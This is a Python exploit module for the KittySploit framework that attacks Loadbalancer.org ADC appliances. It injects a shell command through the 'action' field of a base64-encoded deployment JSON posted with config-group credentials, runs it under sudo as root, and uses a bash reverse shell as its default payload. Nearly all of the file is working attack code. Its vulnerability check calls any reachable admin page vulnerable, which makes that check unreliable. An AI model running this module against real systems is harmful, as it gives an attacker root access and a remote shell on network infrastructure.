Loadbalancer.org ADC deployment template injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Loadbalancer.org ADC deployment template command injection (root)."""

from __future__ import annotations

import base64
import json
import re
from urllib.parse import urlencode

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Loadbalancer.org ADC deployment template injection RCE",
        "description": (
            "Config-group Basic auth POST to /lbadmin/config/deployment/index.php with "
            "base64 deployment JSON injects into haproxy reload (sudo NOPASSWD)."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["loadbalancer-org", "rce", "injection"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": ["scanner/http/loadbalancer_template_inject_rce_detect"],
            },
        },
    }

    port = OptPort(443, "ADC HTTPS port", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("config", "Config-group username", required=True)
    password = OptString("config", "Config-group password", required=True)

    @staticmethod
    def _deployment_b64(cmd: str) -> str:
        payload = {
            "method": "manual",
            "parameters": [],
            "config": {
                "service": [{"action": f"reload;sudo {cmd};echo ", "service": "haproxy"}]
            },
        }
        return base64.b64encode(json.dumps(payload).encode()).decode()

    def execute(self, cmd: str) -> str:
        user = str(self.username or "config")
        pwd = str(self.password or "config")
        auth = base64.b64encode(f"{user}:{pwd}".encode()).decode()
        b64 = self._deployment_b64(cmd)
        resp = self.http_request(
            "POST",
            "/lbadmin/config/deployment/index.php",
            data=urlencode({"deployment": b64}),
            headers={
                "Authorization": f"Basic {auth}",
                "Content-Type": "application/x-www-form-urlencoded",
            },
        )
        if not resp:
            return "request failed"
        text = resp.text or ""
        return f"HTTP {resp.status_code}\n{text[:4000]}"

    def check(self):
        resp = self.http_request("GET", "/lbadmin/")
        if resp and int(resp.status_code or 0) in (200, 301, 302, 401, 403):
            return {
                "vulnerable": True,
                "reason": "Loadbalancer.org lbadmin reachable",
                "confidence": "medium",
            }
        return {"vulnerable": False, "reason": "lbadmin not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False

        print_status("POST deployment template injection")
        out = self.execute(shell)
        print_info(out)
        if "401" in out[:20]:
            print_error("401 — check config-group credentials")
            self.not_vulnerable()
            return False
        self.vulnerable()
        blind = bool(re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I))
        return True if blind else True